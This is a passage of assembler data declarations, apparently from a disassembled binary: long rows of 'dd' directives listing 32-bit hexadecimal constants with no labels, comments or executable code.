dd 6EC8254Eh, 0DBEB8245h, 40B6D809h, 2A98A1FFh, 0AA666EC6h
dd 0F3532658h, 4845F665h, 78BF746Ch, 39479624h, 836BDF34h
dd 0B1F767B0h, 0DB28BF4Ah, 0A7EC774h, 83932945h, 77547501h
dd 3051A496h, 0C63A44BAh, 600027E5h, 364A1ED5h, 0C6558552h
dd 0DFDEB0Ah, 0E00E0746h, 0C62FA4A7h, 631F713Ch, 0B284FDACh
dd 77D42558h, 6BBFB7D4h, 433B7A0Dh, 85F2C8B5h, 29BE7CB3h
dd 0EAC1036Bh, 8D47AB05h, 2980B61Ah, 0B3C5093Ch, 7B6F824Ch
dd 0FB4C1C94h, 0A3F0C8Bh, 2D9CC10h, 71C64811h, 983D5661h
dd 9B20180Ah, 3821Dh, 3AFACAA3h, 78DA1299h, 2A001D2Ch
dd 4701B5B3h, 28DD28EFh, 0B7D7EC18h, 6CBBBA52h, 71725841h
dd 9FC66E74h, 0B6CA8F3h, 9487BCD0h, 116F1A2Eh, 1C5BC27Ah
dd 0A288EE39h, 4D3F232Dh, 5309765Eh, 44A5D0CEh, 0BAF09EC0h
dd 7C966D83h, 183C5329h, 8E76E0E1h, 49B8CDF6h, 0E5666706h
dd 0AF0CC2D1h, 0F9A394EBh, 6BC5D58h, 2F24CF5Fh, 0B2C86354h
dd 66C17CCDh, 0EEA50B44h, 0B4BFB167h, 618073CDh, 0AF0C831h
dd 94E39908h, 0CE4F69DCh, 0B2536B11h, 9D76283Fh, 0F8AC3781h
dd 1F876F77h, 0BCCC5C17h, 242E6783h, 0C3A04120h, 40AF669Bh
dd 9316842h, 0B12B218Dh, 0F34AD064h, 0E8AD9528h, 624901CEh
dd 28A10D9Fh, 0B21E28BEh, 89D933C7h, 6C0C8E0Ch, 0B55CC46Eh
dd 0F26F07F7h, 76B9F004h, 8CAF1E0Dh, 0A308905h, 6192F066h
dd 1D6FD7F0h, 236FADE7h, 8988FCEBh, 4302550Eh, 5063C5C4h
dd 8A82C173h, 130B0483h, 0DEDF1439h, 77B39383h, 0E14AAFADh
dd 416DCA43h, 0E6211DCFh, 76853C3Eh, 8419F7BCh, 0D68825EFh
dd 0CA7FB8B8h, 0AEF8D81Ah, 0D9C79810h, 1DC102BDh, 347528CAh
dd 81D0D17h, 7FF12C91h, 7EC502E3h, 0AF957C7Bh, 6593CEC0h
dd 3DAB55F2h, 943D44Eh, 0EFBDADCAh, 4FD2802Eh, 2009E2D1h
dd 19C4F0D4h, 0A840B88Bh, 4EE56C9Fh, 88E35CC7h, 54234E0Ah
dd 0A1CAE4Eh, 190569A9h, 1E1FB264h, 0FE66E0E5h, 0A144B982h
dd 188CD0F2h, 461E57AEh, 2CD1EA63h, 1F52B7F1h, 0BCDC97C9h
dd 0FFF472DBh, 86E909B2h, 0A48FF260h, 7C152C0Dh, 6663AF5Bh
dd 9213ED50h, 334B50B4h, 7546FA54h, 0C7B1BECBh, 0F0F98CFCh
dd 0D7278FCCh, 8F540D25h, 78E77C3Fh, 46400BA1h, 0DF0FF8B6h
dd 0BB727CCAh, 498B93Ah, 9A2CA3F6h, 83E80AF0h, 492AAF0Dh
dd 48EC3856h, 688FF5Ch, 95130C3Eh, 958FE1A7h, 0A43F7629h
dd 0D3464DFEh, 29E366CFh, 4A097607h, 0C1CBE351h, 47529CFAh
dd 8B89BE9Dh, 45C1547Ah, 0ECE0AF53h, 0A2ACCEBEh, 0E7B7D587h
dd 1B913ACh, 0DFFB0C92h, 6251686Eh, 9A4A0D8Bh, 0DE2688F2h
dd 30D98913h, 40464F9Ah, 0F4A3E7A0h, 0F3555C96h, 8F9DEE4Dh
dd 95EC71C2h, 1D519AA2h, 990B7600h, 0F0F56323h, 3BEA0BDDh
dd 0E74757Eh, 192FE230h, 90C07ADEh, 319644A7h, 107EE4DAh
dd 68615092h, 448DB2A3h, 7EFE30EBh, 85DA66A7h, 99CF1263h
dd 0FF696139h, 2EDDFB0Eh, 0A0936F73h, 74F80BC8h, 0ED56A7C6h
dd 5686028Eh, 0C386F7B7h, 0E05500FAh, 6AA40A69h, 0E3F9F5C0h
dd 0F14F89F8h, 382BEE64h, 0EEDE8341h, 0AAD9F3A7h, 6E5C2D99h
dd 0DC571974h, 5168EAC7h, 3D5E1374h, 0DCB88033h, 72BE2411h
dd 23D5CEEDh, 0C02C4A6Eh, 0E556B5E0h, 0DAF5FEF3h, 0C3D1CF39h
dd 2C6D8ECCh, 3F23C094h, 56F4CE2h, 12B8B3A6h, 873E20B1h
dd 42F472E9h, 746E78A5h, 0BB7C59CCh, 4CA1847Bh, 0CF5430BDh
dd 88C33C88h, 0D0BB9A2h, 0A363AFA9h, 854FB0FCh, 6757A6h
dd 60D51D2h, 33E90BEh, 0B3D5A742h, 0CE0AF5F0h, 0A21073EFh
dd 0E759D7D7h, 8133902Eh, 12FE97FFh, 0DB1CDE54h, 0B3C8CC48h
dd 1C51E3FFh, 777193BFh, 0D5A25A4Ah, 0CC93B53h, 0AB2E6B73h
dd 75AB4F74h, 32138DB1h, 5CC87A8Ah, 0D0B88B0Eh, 5271F0FDh
dd 4F565767h, 7F1FF08Bh, 138E4020h, 390CFE18h, 62F53CF4h
dd 9489CBE8h, 0F2345AECh, 332C422Fh, 9DE598CCh, 0A97ADFE0h
dd 797DAB0Fh, 6678CD87h, 0B308B85h, 549741D4h, 0E52873BEh
dd 0C97323B3h, 7A39B317h, 0FE9A68FBh, 7F6022A2h, 9D049686h
dd 55184F96h, 724F98D9h, 85AD20F3h, 53E9BA2h, 0DE45B779h
dd 0FB8ED158h, 3AEC1011h, 71FDE291h, 0B99E9208h, 0CE5622DCh
dd 0D4946A9Ch, 5E91BA2Fh, 1A0B4608h, 58ECBDEh, 0E016D5A9h
dd 6A009B2h, 5E9AE3FDh, 2138EB4Eh, 53CC480Eh, 0BD588C31h
dd 952831F8h, 0C3C57380h, 0CC869483h, 0C3F4365Fh, 9586C6ACh
dd 0D7D8A818h, 0EB83B07Ah, 21E94574h, 0E0505140h, 3248F6D5h
dd 34C57C27h, 0A396C6BFh, 6615F2ABh, 67E71667h, 181C9507h
dd 26B07DD5h, 6DA73B5Dh, 844AE2DFh, 328C0358h, 99105035h
dd 0F0668869h, 3585BE3h, 2DB8C04Bh, 0FF1E74AEh, 0D34B6556h
dd 5BE3B699h, 96C79C8Ah, 0A50A2A99h, 68342DDAh, 997E3CDDh
dd 0C45047F8h, 159CC039h, 0CA55716Ah, 0B2E37550h, 3CE6763Ah
dd 0BE091A08h, 89B5756Ch, 27E763AFh, 560AC75Ah, 0A2CDEA0Fh
dd 4D055618h, 294D09D6h, 0CDB8F266h, 73C9F132h, 0A6AB8379h
dd 923B0E2Fh, 0E16DE8D8h, 0BFE65AA3h, 0D8D4F206h, 83C98DE3h
dd 7070484Ch, 0E396433Bh, 9AD7B7FCh, 0C3B36F3Ch, 0D9E8F447h
dd 5CD9D511h, 0F2FF93FEh, 79CB703Ch, 9B5935EBh, 3F9A9503h
dd 0C0499BE8h, 0F2934F40h, 3B464A31h, 0CC175880h, 3175B844h
dd 0B708B136h, 4CC4D7B0h, 3F6BF9B3h, 64D4387Ch, 2B182AF0h
dd 0DC58874Dh, 86D9680Ah, 78147DBh, 710786F9h, 84969E38h
dd 0E83631E1h, 0A088365Ah, 0F9D01402h, 3B4A365Bh, 0B6987E6Dh
dd 2CF58451h, 0E9CBBC15h, 0A2D3621Eh, 0E521A7A4h, 0FF5A6596h
dd 0B32F65E4h, 0DC8B6AB7h, 2B1B2A90h, 62C74D1Dh, 0FC1C70CFh
dd 72D1842Ah, 0FBA6B6FAh, 0A642EFC9h, 0BB56F4FAh, 62540E35h
dd 0FCFCBFC8h, 0CEB590E3h, 0BBF503B8h, 40BC1574h, 0F13E1D6Ah
dd 177FCCDCh, 0ACDA5F70h, 7E37C20Bh, 785B34C5h, 0E5A72826h
dd 0BC910103h, 31F2107Bh, 3A6624FEh, 36951B53h, 0CD672D66h
dd 0B8EA518Ah, 8AE3CE30h, 0DB9922F4h, 6A573566h, 28DC74F2h
dd 2D154C12h, 175BBDA3h, 29A8FFCFh, 5601C509h, 5A438345h
dd 7653AD7Dh, 0F005C83Ch, 0D9DFC2E2h, 0A4E4017Eh, 0F9C3C689h
dd 4235EDF3h, 0DEC64B45h, 2B13005Bh, 55A6C8D2h, 1915ACB1h
dd 2D0B1C27h, 0B08CA6BEh
dd 0BEFC5415h, 33BA8834h, 2E1167A7h, 8E12FA10h, 9A9F280Ch
dd 0D7A6C3FDh, 7296BAB9h, 3E6152E1h, 0A578A3EBh, 0CDAB881Bh
dd 2424C0B2h, 0EFFC3676h, 54CA9495h, 5FCE4BCBh, 13E766A7h
dd 8D8B801Ch, 6BE8091Fh, 1C68695Ah, 0F3EC237Fh, 4366C3E9h
dd 0B56DBD15h, 6146A700h, 0FD1C2C3h, 363D2C3Ch, 1EEE31ECh
dd 0F0DC6Eh, 7ECA52F7h, 2EBC7B02h, 0A4740FC4h, 7B7496C1h
dd 0B88993Ch, 20657DADh, 0C79B2D5Dh, 8E77BD08h, 0DE8A9771h
dd 0FB804F9Dh, 177D1226h, 9181E5B7h, 1B9FBAF0h, 30704AF0h
dd 1E62028Dh, 0C7E4E2ECh, 0EBA39E37h, 6F79C345h, 3D75100Fh
dd 0BDEBA518h, 0AD4C46E0h, 0B4AE7892h, 85265ECFh, 0A7E352AEh
dd 16EB7B07h, 63DD0EC9h, 5362B5EDh, 0C3C6B724h, 5DC49628h
dd 0D608B1C1h, 7ECDDB19h, 4D97FB6Bh, 0D05FC9D7h, 55550755h
dd 61D9CD4Eh, 0DACC496Eh, 0B2E172A1h, 37C22039h, 16A42C58h
dd 6B06DB19h, 4736E4BEh, 0D81D5F29h, 0E591CDA3h, 600968Bh
dd 76C137BAh, 0DD82340Ah, 45ADBD4Dh, 0B631DF6Ch, 66CCF57h
dd 3F091641h, 0C1F55446h, 92355726h, 0C65B8D1Eh, 4D90C046h
dd 1D5A58BCh, 0C640FBC4h, 0E9EC1264h, 2300A10h, 6C81670Ch
dd 0ED0FF4B1h, 0F5BD7E02h, 731CF94Ah, 1B33FCCEh, 0C2AFE336h
dd 7E26C8DAh, 21989C1Dh, 0E4816A06h, 0A124EBA2h, 242D439Dh
dd 1EC0B39Ch, 29D48BC2h, 0BD136CD3h, 18421B7Fh, 8F6581C4h
dd 56B746FEh, 0FE43D449h, 0E5E047D5h, 1F7DECE6h, 96CE2DEBh
dd 54DED5A8h, 1F72B0DDh, 0FEC94C03h, 820068A9h, 0B45A5387h
dd 3C692E2Bh, 5E983BABh, 0D1AD9B8Ch, 4D6FECD6h, 4A27BF5Ah
dd 13D8CA76h, 52153h, 0A3AA2F44h, 51D18EAEh, 0B431664Bh
dd 42CC11EAh, 0DE082046h, 61913F91h, 0E04F027Ah, 19B22334h
dd 0D738C32Ah, 524346F8h, 6C2B6052h, 6A10FD85h, 0CC5721C5h
dd 83091721h, 0DBCC74DEh, 51557228h, 2C569700h, 0E7F4A337h
dd 0CEF97B60h, 12425F82h, 1BDE18E6h, 80C9EFEBh, 876AB87Dh
dd 613DAC4Eh, 4C44F077h, 486E5CD2h, 979B52BEh, 67B016CAh
dd 91CE3FE7h, 0EF5A2BB1h, 1B30C6B1h, 0AB243FB6h, 671B07Bh
dd 0B93CDFA2h, 83CA5BABh, 0A84622F7h, 796EA126h, 5821A19Dh
dd 7A85D019h, 6650424Eh, 9847A50Dh, 1A934F1Eh, 6FE4023Bh
dd 0FB5D69FDh, 80FA7586h, 7F18C52Ch, 0CEFF2E82h, 0E6F3D2h
dd 26D8733Ch, 0A531DD1Fh, 213F7A27h, 0C8F11257h, 45FC03A9h
dd 0AABEE024h, 719EA136h, 3A283AEDh, 69BC37FDh, 7631CDB7h
dd 0B900A062h, 70ED87ABh, 0E294513Dh, 0FD527554h, 0FAF84295h
dd 0FC7337DEh, 594ADA20h, 1E1FDFF6h, 0B03604A6h, 0D0F85855h
dd 0BDE18175h, 5DE97D62h, 4F13396Fh, 895C785Ch, 3AE82E8Dh
dd 7DF42318h, 0DA5FB2F8h, 5423A7D2h, 0CB918E94h, 1A3DB44Ch
dd 0C7EEE9B5h, 6F5F205Ch, 0B578A76Ah, 0E086AD0Ch, 0E7EA5CDBh
dd 0ACABF171h, 5B9B2EB5h, 816B7778h, 48D4D19Bh, 8EFC0B21h
dd 8D7B79EAh, 5814160Ah, 0B0729312h, 963286B2h, 0EB402FF2h
dd 920DBDAEh, 0AAFF3CBh, 84474B49h, 0D9943567h, 0AB723987h
dd 8439A03h, 303D8738h, 0BA3F1EB5h, 4D9F2127h, 44D80AFDh
dd 0D7A4C94Ah, 2B7AE0F8h, 0D63926ACh, 3B5F6389h, 302D7472h
dd 637E089Eh, 813DA78Eh, 195426B1h, 8FEA9C68h, 0D955A5ACh
dd 6601BFDAh, 21AC82A6h, 703EAC04h, 5FDDA69h, 344C050Ah
dd 0FBB233CEh, 5DBEA50Bh, 2CBB8B28h, 0CC96BE51h, 0D58C779Eh
dd 4AD92C72h, 8DE9039Bh, 6F6E6B3h, 3EF421B2h, 0F98F70BDh
dd 48499649h, 76120629h, 748C2BA1h, 0E8A741A6h, 0DD57C089h
dd 66426312h, 1EA6231Dh, 0D0C6070h, 0AF299099h, 5E2E8310h
dd 0EE49540Bh, 4ABA7E2h, 0A7154DFEh, 42FA66B7h, 0BA492C95h
dd 5F25E6F8h, 9FE6B2FAh, 0E9E557F1h, 5606C68Dh, 14C78BA3h
dd 895CE85Eh, 0B29DB024h, 6C43BF0Fh, 65154553h, 0EF0672F8h
dd 0DDB4B490h, 330A006Bh, 4D8C1AAFh, 47353199h, 5EE47220h
dd 6F21FE00h, 9C4ACEE9h, 0E0091FE1h, 3E33F5F1h, 3B492C2Fh
dd 58DC1530h, 67D34B02h, 0B1AD20DCh, 964F14ACh, 65BC81E9h
dd 78B1FD7Fh, 0ABA178DFh, 0FB475DAAh, 0D8D23560h, 34BC51C5h
dd 0E073603Dh, 0C4DB9565h, 26B8B882h, 5B96098Ch, 75A1EE0Fh
dd 69BB3A5Ah, 0F52DA830h, 0FBA843BFh, 2FADC1BBh, 0F40EA5D5h
dd 58AB9B7Ch, 0D9EFB21Fh, 0BB840ED6h, 128C05C9h, 733E6AB7h
dd 5EC22239h, 0D1AC2B4Ah, 74151404h, 0FD0F4483h, 2ED9659h
dd 7D490BD8h, 0C52BC9DCh, 0B9342D42h, 0AFD1E09Dh, 0EF6DFDE8h
dd 29381F59h, 0C235735Eh, 309BB38Dh, 3AC4FC40h, 0C7FE2E4Dh
dd 56D86F54h, 0DB731622h, 4AE45974h, 272397DDh, 76336452h
dd 6879B490h, 0B5150520h, 40A413FDh, 0BA57E228h, 4BE8CCE3h
dd 5553E891h, 0F3674C63h, 1795A70Eh, 0D7446139h, 0FCEEB70Fh
dd 7B64EBC9h, 0D01EFFFCh, 0E4AACAB7h, 7BA73D55h, 0F5BC2967h
dd 92829E35h, 39CE29BCh, 0C8E60155h, 0EE2C1AF9h, 0B4C859DAh
dd 510801DAh, 7E5CD5DFh, 0A50EADC3h, 30A0FA15h, 373C1589h
dd 0BFA2A7BEh, 0FB214113h, 81142987h, 72045D89h, 6DADF99Fh
dd 0BA341582h, 58DEC3CBh, 9D1717F1h, 2F8ACB15h, 55987E0Eh
dd 3BCA2735h, 6D31645Bh, 1D92AF4Eh, 0BD2D896Eh, 8C462C5Ah
dd 0C511543Eh, 0C07C0B54h, 618F1534h, 67A017C6h, 0A29CE1Eh
dd 0D4361D32h, 0A03D4792h, 83F5371Ch, 9EA75A8Dh, 0C4251A4Bh
dd 0F3AE3E93h, 4F46E6F2h, 14DBFE1h, 26397FF6h, 3DC38516h
dd 0ED7E24D5h, 396C1C4Ch, 0A69CFB7Fh, 7C40C002h, 0C6777AE6h
dd 5142AB16h, 39219B2h, 1C73D87Ah, 0EC37E4B5h, 0D6A1C76Ch
dd 0FDB6DE64h, 0C6B714CEh, 314B94BCh, 0DFC85260h, 78597F3Eh
dd 99AC98Ch, 80A7AA19h, 2BC26D73h, 73DC599Eh, 71BE9BBBh
dd 5E0035A9h, 435B3F2Ch, 8402A058h, 76EC8996h, 0A146D636h
dd 904CC740h, 0A32D9638h, 26894B9Dh, 6E58923Dh, 0CF724361h
dd 8B94B6A4h, 77CB40C2h, 1F74B674h, 5174CA6Eh, 38963798h
dd 0A63CF2E9h, 0A0F329E4h, 40BB8C98h, 12C76772h, 0CAC78F39h
dd 6FCC98FBh, 4E031A7Fh, 60463EAFh, 7864AA4Dh, 976DE8EBh
dd 49E5215Ah, 3BF4CFE0h, 0D12D95D4h, 0BCE3065Fh, 0FB715F50h
dd 9FAFD8FFh, 7D5B4844h, 9D3B68D7h, 0C5A1AE90h, 427B806Fh
dd 0A1EC677Dh, 0EB56D6FDh, 982FAA5Fh, 0A510840Ch, 0FA47E934h
dd 6693DFA0h, 6768965h, 0F4C4094Eh, 885E3C82h, 0B805E348h
dd 0FC29E90Dh, 75C04A88h, 388D0CEEh, 0DC2AB84h, 0C4E950A1h
dd 0D0CC38CEh, 0C6BD089Ah, 2ED10D52h, 0F9A9D7FFh, 0B1845119h
dd 5A87AB97h, 0F60BEA40h, 91A20EADh, 0C91464E1h, 4A7AE65Eh
dd 0C7CF57D8h, 0E8263964h, 77D10934h, 15D29800h, 113EDB5Eh
dd 0B53901FCh, 0CBB75930h, 0D84B7619h, 6CCA734Ah, 0CB779B2Bh
dd 8FA8F963h, 91AEA64h, 8BCE5E1h, 9CD56CDCh, 0E7B7DDB1h
dd 151D33FBh, 0FCD6A001h, 40B688F8h, 45821D37h, 1631E036h
dd 0D64CC755h, 160713BAh, 3B522BF9h, 6A9D2C79h, 0E6A1AD34h
dd 4C9A3D4Ah, 5D374284h, 0E6ED9F10h, 14F26797h, 0B88EAD63h
dd 665A65D7h, 672F80B4h, 0D225566Ch, 0B20276FFh, 7808C68h
dd 9492F643h, 37056186h, 9BABBA46h, 0F1011764h, 60326900h
dd 0C3F5648Ah, 75C587BDh, 0F47933D8h, 0CDE4BC3Fh, 9053ED48h
dd 579E356Fh, 9F436452h, 7E8E0DBDh, 8815E81Fh, 38EDEECFh
dd 5CBE9CD5h, 0DF380A9Dh
dd 564848C6h, 0DD6B786Bh, 0DA8C6D91h, 0E74F43C2h, 0D9440B55h
dd 0D3F879Ah, 9478AF49h, 822B61EEh, 0F2669279h, 22FF30EFh
dd 98230493h, 0E5607654h, 0D3F70A86h, 23F0AA02h, 0AE4C0502h
dd 0C82F5624h, 0C7D93ADBh, 8EBAA599h, 0C98FFDAFh, 0A7020D5Bh
dd 63FF4B38h, 7225E861h, 4A9B12Dh, 0FEF4AEAEh, 2851191h
dd 0D46CA62Ah, 56DF4AB1h, 27531D38h, 0E79CFFD9h, 40938731h
dd 172683CBh, 0EAE0D629h, 0C554CD9Ch, 0E4051CE3h, 448297DDh
dd 7253EB08h, 71AC210Dh, 0D8902F45h, 0DD106681h, 28C9E634h
dd 89105050h, 0ACB0D425h, 68EA45F6h, 447AD3EAh, 0D2D44484h
dd 0B3CC3417h, 0C5037EBBh, 729D05CCh, 0D37FF708h, 59539FBDh
dd 476C26FEh, 0B9B50D0h, 45BC8BEEh, 6FAC443Ch, 2F8F8F71h
dd 0B508A85Fh, 7C698A9h, 0F31706E4h, 1A49B0A8h, 8761B381h
dd 0E3DA2DF4h, 6715D23Fh, 0A983FA60h, 62BE12F6h, 0BB75FFF8h
dd 0B68B9A99h, 277ABF29h, 0B2A27C9h, 5AECF98Fh, 0F6B98340h
dd 49CC06C9h, 0D56AB86Ah, 6555A462h, 0D2CF922h, 0DF08E7A2h
dd 469BB892h, 0E13648DEh, 0AF992B1Bh, 216DD7D8h, 9A43E235h
dd 3ACEF6FEh, 9C50A681h, 841F8D80h, 557114B1h, 24D3963Bh
dd 6AB79AA9h, 1712E044h, 2F3BC4B1h, 0DF04CD14h, 823B572Ch
dd 0CCD4F2B4h, 0F03D120h, 3B0F5F68h, 0C954984Eh, 0FAF30457h
dd 5A73B64h, 52DBFBB5h, 5C3EE78Bh, 0F1ECC1D5h, 9E5A1908h
dd 0EF9A4173h, 57D31954h, 790CF570h, 7281D957h, 0AF75ECDAh
dd 0EEA6D3Bh, 7A80A74h, 0EFC97BBEh, 3F8953BEh, 71AF34Ah
dd 0FC8ADB7Eh, 24215803h, 5D3DC232h, 612773CBh, 535CE5C6h
dd 0BD0C4CECh, 0D829DF27h, 4EBB457Dh, 23852CCFh, 9EA4B7A2h
dd 10E37999h, 0DE0ADDBDh, 0FD97DE48h, 0BF02E7F9h, 0BD167B29h
dd 1B41B2E6h, 65B2FC84h, 9C41F93h, 391E3469h, 0BD0DB5B0h
dd 8FE7EF8Bh, 8AA73BD5h, 0D6AF660Ch, 0B827C1B8h, 405C2113h
dd 55A59CCh, 6B70C88h, 9F49FA4Dh, 3BBFAA21h, 7713E383h
dd 40D0157Fh, 130CC3EFh, 52325FE9h, 7365BA2Dh, 0AC01ECB2h
dd 0E3413395h, 350E5658h, 25E3AA0Fh, 0F6C6AA71h, 73F315F5h
dd 5479E3EDh, 0B9DA3EF9h, 16C3D1A0h, 6A07FB4Dh, 4F7AB0C0h
dd 403BCBD3h, 0CB771E81h, 6F6F6B97h, 4D681B8Fh, 3C490FE8h
dd 0F68CCA9Fh, 70F30Bh, 395BB68Bh, 0B4C302F6h, 0E8A3A808h
dd 99A28A5Fh, 0D71D3DF6h, 7C5D8287h, 0A35ECBFAh, 19FC474Fh
dd 0E2F729F3h, 81741052h, 21EEC5BFh, 2694D19Fh, 4F25D3C8h
dd 0C8B2551Dh, 4EDAAD68h, 23E3C5B1h, 0CECB7630h, 63A89BD5h
dd 61C77C39h, 8C320DDFh, 0B12544B9h, 2003AF7Bh, 0D80CD627h
dd 0C81AD241h, 0AB5ABDDEh, 754D564Eh, 4E7DF779h, 0CA6E03D4h
dd 0FEB4F029h, 3F74115Eh, 1E67FAEh, 619B8C26h, 9C89DF0Eh
dd 0C9420890h, 524C8584h, 0B272D40Eh, 4FB33CDDh, 0F6FD1E61h
dd 402C98Fh, 8D3BADFh, 1347951Bh, 0E836EF5Eh, 0F1C4844Ch
dd 5B4BC8DCh, 939A98A9h, 75C49CB8h, 0FBB4C08h, 0EAC15B8Dh
dd 7A3238C6h, 702D89CFh, 84F35764h, 0E40467AEh, 0E9ED924h
dd 0E48A6908h, 69EDC855h, 7C0C56C1h, 8AC97120h, 5C15AFFBh
dd 411F4A0h, 0DB0AE3BAh, 9C0E0347h, 847B82CBh, 50467E90h
dd 97C441CFh, 2439BE07h, 540FA487h, 0C14F77A6h, 60E0475h
dd 5F176DC9h, 769DBC2h, 9DA3D711h, 0BB127861h, 6B9D753Ah
dd 2514C3F6h, 0C0345B7Ch, 3BF9C8E6h, 3D0F294h, 0B5F41EDDh
dd 0CEA71296h, 3FDD4717h, 2DEB6969h, 1D40F143h, 5CE72411h
dd 3E4EE9F7h, 22BFB1CCh, 0EE303FDFh, 0BBE9F685h, 2B096B64h
dd 70966869h, 42F59468h, 3E5BBCD7h, 62E5F27Fh, 1A7C6DDDh
dd 8F5A88E1h, 390E1D8Dh, 7B3C9AFFh, 0A5072FF9h, 26FA95C4h
dd 503B9975h, 0F70BE1F7h, 284BB6CAh, 61AB63CAh, 7CB31EA0h
dd 0FD5433A2h, 43B0070Dh, 0D8620D27h, 0AAABC9Fh, 0BA10DF7Dh
dd 63AACEBDh, 0B8724D08h, 80EEA1CCh, 4A11AA39h, 0BF83866Eh
dd 40E7BD17h, 0B0E21DEFh, 0E8D0E8E7h, 97C977C7h, 31D73636h
dd 0E3C237FFh, 45263D95h, 723535ACh, 19022B51h, 0DC948A30h
dd 4A0EA363h, 7190F0EFh, 7EFBEF17h, 941B5FA4h, 5E879879h
dd 4B45889Fh, 0A5F54D3Ah, 0C1EEEEA7h, 8C445A64h, 0B97C943Eh
dd 0C7DE638Eh, 0A99FC050h, 2CBD0568h, 0B4E65771h, 0B1E34955h
dd 448F1C83h, 2051C6A7h, 5BBC028Dh, 0B6155C3Dh, 0F4F36FE9h
dd 18F6CA06h, 2AEF3983h, 0D29C1035h, 0FE004BF5h, 2155F777h
dd 0C368C31Ch, 0EEA3BC55h, 2810C29h, 0F83BD5F9h, 0B9A65D64h
dd 0A1493390h, 383BCB1Ch, 0BDA393E5h, 0BB59EBEAh, 64804BF3h
dd 12E1E439h, 586589A1h, 3E8B36BBh, 7424BF69h, 14FF0A79h
dd 2DE23778h, 69072F5Ch, 0BB72A4D9h, 0EA0F8977h, 0DF6DB15Fh
dd 0BCEA0546h, 44826CA2h, 0E8E2F1F0h, 0F122AD1Fh, 0E17C1E72h
dd 0F31AA5AFh, 8F36A423h, 57AA7CAAh, 6C522A48h, 1CECE31h
dd 0BBDE604Bh, 76CD7735h, 0A7B58B89h, 5AF2B070h, 858BDEA3h
dd 0D145C4D0h, 8BC2F30h, 3DE4216h, 782AF25h, 87269ECFh
dd 0B7013264h, 0C7AB4B62h, 77C7EA5Fh, 0EE574F97h, 0D84EA10Ch
dd 0A0AE1953h, 114EC911h, 0C9E24A73h, 964A11ECh, 441888DFh
dd 45C0C784h, 0B66EBEDCh, 986AC724h, 7195CE78h, 0FD99910Fh
dd 0A378D25h, 1DF6DFCBh, 45A980B7h, 57E7FDB0h, 0BE21144Fh
dd 0BAEB6AFCh, 444324FBh, 9F57D35Bh, 0A059CE83h, 0C34395FBh
dd 7D91B364h, 0ADB676B9h, 4F66BA59h, 0F87C1718h, 0C5AC83B4h
dd 3F12950Dh, 0B193529Dh, 144E12E0h, 0CCEF4B6h, 9B8B9DEh
dd 0DAF86B17h, 7E2A5A4Dh, 4A2D2322h, 0AB275AA8h, 0C9EC8A91h
dd 0A318C7Ch, 0DCCAB9A3h, 0EB2086F6h, 8D8F27EDh, 9B0AB655h
dd 7473693Bh, 7C2AF270h, 6D87E984h, 46D029C9h, 0DB980F58h
dd 0CF3BD06Fh, 78D32627h, 0A7937901h, 6647A82h, 52F7AE49h
dd 0DEED106Fh, 23110179h, 0ACEA1D1Dh, 0E5451AB6h, 2A1A3715h
dd 6BE5663Ch, 8608A1CDh, 36BBB331h, 0E855CC72h, 7CD7DBC1h
dd 6FADE2CEh, 0F1348334h, 23AAB686h, 0DF64C76h, 0ECFF192Eh
dd 28B8F471h, 0ADEEA1EFh, 0D9DE102Fh, 6AD8D53h, 0D2C9326Fh
dd 0CD088DB6h, 85BC17C3h, 0EE76E2B4h, 0F75A9F02h, 0B1BBBCF8h
dd 9B4E6043h, 378266D9h, 42F878BCh, 32E1FDFEh, 390DBE4Ch
dd 64F91C0Bh, 0C362745Ah, 8BC56096h, 0F06C1709h, 18133F54h
dd 716825F3h, 56DF35AEh, 0F6EBE028h, 27145162h, 0A5F927F9h
dd 0D6AA7344h, 1A7C042Eh, 4C184948h, 9E3B4293h, 4C5E9E13h
dd 5167B91Ah, 2AAE574h, 54018BCEh, 0ACE7CE25h, 18F11CDAh
dd 40FD4A88h, 0E1BF828Bh, 0ABABEE2h, 3356CBB8h, 1706D729h
dd 5FC734D6h, 0CC192B93h, 34460C1Ch, 91CCA046h, 0C41BE0FDh
dd 2BA7E615h, 6E06CFC5h, 442806F9h, 0ACDC342Ah, 0C0B36078h
dd 84CC9C87h, 0DA71589h, 65065849h, 9E301EB0h, 27836ECAh
dd 8F2D1DFBh, 9F861EF2h, 0DFC388F7h, 563611D1h, 383ED3FBh
dd 0CD473A14h, 0C221628Ch, 0E6A3F293h, 76E80C94h, 0BBE68FF2h
dd 0C3E53900h, 1CE075F2h, 0F6AE1758h, 6AFA8E4h, 6D5CE94Ch
dd 0B98D782Ch, 0BEB3245Ch, 0D22A8E91h, 595F883Bh, 949037CDh
dd 6A135681h, 0F2B91B85h, 8472C8B6h, 85F980F6h, 0FA793013h
dd 631FC3CBh, 0F0F9EBF7h, 0DBB9CDFDh, 701B5598h, 4AE1BDEAh
dd 2D14B80Eh, 81EA6F2Ah, 0A67260ADh, 0D8D7C7BEh, 9D3BE073h
dd 5FA1A3E4h, 0F09A7F4Eh
dd 0BBC58BEAh, 4ED51498h, 0E54980EAh, 65A2DA94h, 5EBF5544h
dd 798B25FBh, 7AB303Eh, 6DCF24ABh, 0CDEB3B9Dh, 674FEC5Bh
dd 52E4C2Fh, 7750940Fh, 0F34CD80h, 3CA459FCh, 924E4446h
dd 0EB7D5B1Eh, 30BAAC0Bh, 24D60F2Eh, 37D2897Bh, 0BD317457h
dd 7AD89B7Eh, 0A2AB6F04h, 0A7806857h, 0DE58D5ABh, 9609D1AEh
dd 0D3996BB5h, 0CD972549h, 74C10A1Ah, 0B888A7B1h, 16AE9BDFh
dd 0DE0BEC7Ah, 7CEEF339h, 9F5A3C41h, 0CC477A12h, 0BD891E6Ah
dd 2211DC1Ch, 8ABAF334h, 0FDCD0E52h, 65E130B1h, 8CFACB42h
dd 6358B659h, 6E030867h, 495788D5h, 33A6EB34h, 0B7C72009h
dd 88778AD8h, 0F4C01A59h, 4888EA69h, 0A24C759h, 3EE3C10Eh
dd 34D1A11h, 0D129CC8Dh, 90516B81h, 7299C19Dh, 58133762h
dd 0BDAAD0AAh, 978E6E5Ah, 297762C6h, 245EFB3h, 0DA6D6429h
dd 0C0EFB197h, 79F45D60h, 6884D80Eh, 751F3413h, 0B095D6BEh
dd 3A7517E8h, 0A84577D6h, 0B57E9893h, 0BA07A41Bh, 0EFE9E1E5h
dd 94244716h, 33CDBBA9h, 0D056D2BAh, 53C85D4Ah, 739ADAABh
dd 0F66A1132h, 5AD0C84Fh, 35F38779h, 347CAAEAh, 25773A30h
dd 751134CFh, 0AFC0EB47h, 4B39A40Ch, 1516316Dh, 4D0B23E8h
